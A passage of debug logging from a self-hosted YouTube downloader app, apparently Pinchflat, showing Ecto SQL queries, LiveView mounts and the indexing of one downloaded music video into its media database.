s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:50.899 [debug] QUERY OK source="media_profiles" db=0.1ms idle=179.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:50.900 [debug] QUERY OK source="media_items" db=0.2ms idle=180.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5] 22:22:50.900 [debug] Current batch of media processed. Will check again in 1000ms 22:22:51.303 [info] GET /sources/5/ 22:22:51.303 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "5"} Pipelines: [:browser] 22:22:51.304 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=583.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:22:51.305 [debug] QUERY OK source="media_profiles" db=0.4ms idle=405.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:51.306 [debug] QUERY OK source="tasks" db=0.5ms queue=0.1ms idle=406.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [5, "executing", "available", "scheduled", "retryable"] 22:22:51.306 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=406.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [222] 22:22:51.307 [debug] QUERY OK source="settings" db=0.1ms idle=406.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:51.307 [debug] QUERY OK source="settings" db=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:51.307 [debug] QUERY OK source="settings" db=0.0ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:51.308 [debug] QUERY OK source="sources" db=0.1ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:22:51.309 [debug] QUERY OK source="media_items" db=0.2ms idle=2.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 22:22:51.309 [debug] QUERY OK source="media_items" db=0.3ms idle=2.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:22:51.310 [debug] QUERY OK source="sources" db=0.1ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:22:51.310 [debug] QUERY OK source="media_items" db=0.0ms idle=2.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 22:22:51.310 [debug] QUERY OK source="media_items" db=0.1ms idle=2.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:22:51.311 [debug] QUERY OK source="sources" db=0.1ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:22:51.311 [debug] QUERY OK source="media_items" db=0.1ms idle=2.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 22:22:51.312 [debug] QUERY OK source="media_items" db=0.3ms idle=1.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:22:51.312 [info] Sent 200 in 9ms 22:22:51.404 [info] CONNECTED TO Phoenix.LiveView.Socket in 22µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "HAhHRxspHHI4CVwAIDl2YQpbZCllMjw0uetprau3SohPBtG7Z1PZ6Fkw", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.tail3db17d.ts.net/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.tail3db17d.ts.net/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:22:51.410 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "pending", "source_id" => 5} 22:22:51.410 [debug] QUERY OK source="sources" db=0.1ms idle=99.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:22:51.411 [debug] QUERY OK source="media_items" db=0.2ms idle=100.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 22:22:51.418 [debug] QUERY OK source="media_items" db=6.8ms idle=99.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:22:51.418 [debug] Replied in 8ms 22:22:51.420 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "downloaded", "source_id" => 5} 22:22:51.420 [debug] QUERY OK source="sources" db=0.1ms idle=108.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:22:51.420 [debug] QUERY OK source="media_items" db=0.0ms idle=108.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 22:22:51.420 [debug] QUERY OK source="media_items" db=0.1ms idle=9.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:22:51.421 [debug] Replied in 963µs 22:22:51.422 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "other", "source_id" => 5} 22:22:51.422 [debug] QUERY OK source="sources" db=0.1ms idle=11.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:22:51.422 [debug] QUERY OK source="media_items" db=0.1ms idle=4.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 22:22:51.423 [debug] QUERY OK source="media_items" db=0.3ms idle=2.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:22:51.423 [debug] Replied in 1ms 22:22:51.900 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "hi!! pls watch it on 1080p!!\n\ni have mixed feelings with this tbh, it took me a lot of time but idk if I really like it lol\n\nalso if you're going to watch evangelion, prepare yourself for a huge existencial crisis.\n\nsong: washing machine heart by mitski\nplease do not repost my video!", "duration" => 146, "filename" => "/downloads/Nightcore/Nightcore/2021-02-04Evangelion 「AMV」 - washing machine heart[Wq4UaL6Tq5w].m4a", "id" => "Wq4UaL6Tq5w", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Wq4UaL6Tq5w", "playlist_index" => 5, "timestamp" => 1612398399, "title" => "Evangelion 「AMV」 - washing machine heart", "upload_date" => "20210204"} 22:22:51.901 [debug] QUERY OK source="sources" db=0.2ms idle=480.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:51.901 [debug] QUERY OK source="sources" db=0.1ms idle=479.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:51.902 [debug] QUERY OK source="media_items" db=0.1ms idle=478.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-02-04 00:26:39Z], 1] 22:22:52.181 [debug] QUERY OK source="media_items" db=278.9ms idle=478.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["hi!! pls watch it on 1080p!!\n\ni have mixed feelings with this tbh, it took me a lot of time but idk if I really like it lol\n\nalso if you're going to watch evangelion, prepare yourself for a huge existencial crisis.\n\nsong: washing machine heart by mitski\nplease do not repost my video!", "Evangelion 「AMV」 - washing machine heart", "25bda08e-62fe-4be0-8590-ef2803b3bba2", false, "Wq4UaL6Tq5w", 146, false, "https://www.youtube.com/watch?v=Wq4UaL6Tq5w", 5, "/downloads/Nightcore/Nightcore/2021-02-04Evangelion 「AMV」 - washing machine heart[Wq4UaL6Tq5w].m4a", false, false, 1, [], 1, ~U[2021-02-04 00:26:39Z], ~U[2026-07-24 02:22:51Z], ~U[2026-07-24 02:22:51Z], "hi!! pls watch it on 1080p!!\n\ni have mixed feelings with this tbh, it took me a lot of time but idk if I really like it lol\n\nalso if you're going to watch evangelion, prepare yourself for a huge existencial crisis.\n\nsong: washing machine heart by mitski\nplease do not repost my video!", "Evangelion 「AMV」 - washing machine heart", "Wq4UaL6Tq5w", 146, false, "https://www.youtube.com/watch?v=Wq4UaL6Tq5w", "/downloads/Nightcore/Nightcore/2021-02-04Evangelion 「AMV」 - washing machine heart[Wq4UaL6Tq5w].m4a", false, 1, ~U[2021-02-04 00:26:39Z]] 22:22:52.182 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=461.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:52.183 [debug] QUERY OK source="media_profiles" db=0.4ms idle=281.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:52.184 [debug] QUERY OK source="media_items" db=0.4ms idle=281.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND 